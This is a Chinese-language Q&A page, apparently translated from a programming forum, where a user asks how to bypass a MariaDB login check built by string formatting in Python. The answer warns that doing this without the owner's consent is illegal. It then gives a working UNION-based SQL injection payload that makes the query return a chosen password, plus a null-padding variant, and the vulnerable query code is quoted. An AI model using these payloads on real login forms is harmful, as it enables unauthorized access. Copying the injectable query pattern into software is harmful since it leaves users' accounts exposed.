首页 > 解决方案 > 如何利用我在此 Web 服务器上发现的这个易受攻击的 SQL 语句

问题描述

我刚刚遇到了一个非常简单但相当复杂的 SQL 查询,它在验证 MariaDB 中的用户名时执行。该声明有两个逃脱字符,我似乎无法解决这个问题。我一直在尝试不同的有效载荷,但它们似乎都不起作用。在无效语句上,它返回一个回溯调用错误,通知该错误。

我已经尝试过 1' 或 '1'='1 和这个的 0 版本

python
    if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:

我想找到一种绕过此验证语句并授予我访问权限的方法。

标签: sqlwebservermariadbsql-injectionpenetration-testing

解决方案


请记住,在您不拥有/没有所有者同意的网站上进行此类做法是非法的。

尝试使用和联合,输入:

' and 1=2 UNION SELECT 'anypass' --

如果我正确理解您的问题,将产生以下查询:

SELECT password FROM admins WHERE username='' and 1=2 UNION SELECT 'anypass' --

联合运算符需要相同数量的列,如果您收到该类型的错误,请尝试以下操作:

' and 1=2 UNION SELECT 'anypass', null --

添加空列,直到不再出现错误。

然后您只需在密码字段中输入“anypass”。


推荐阅读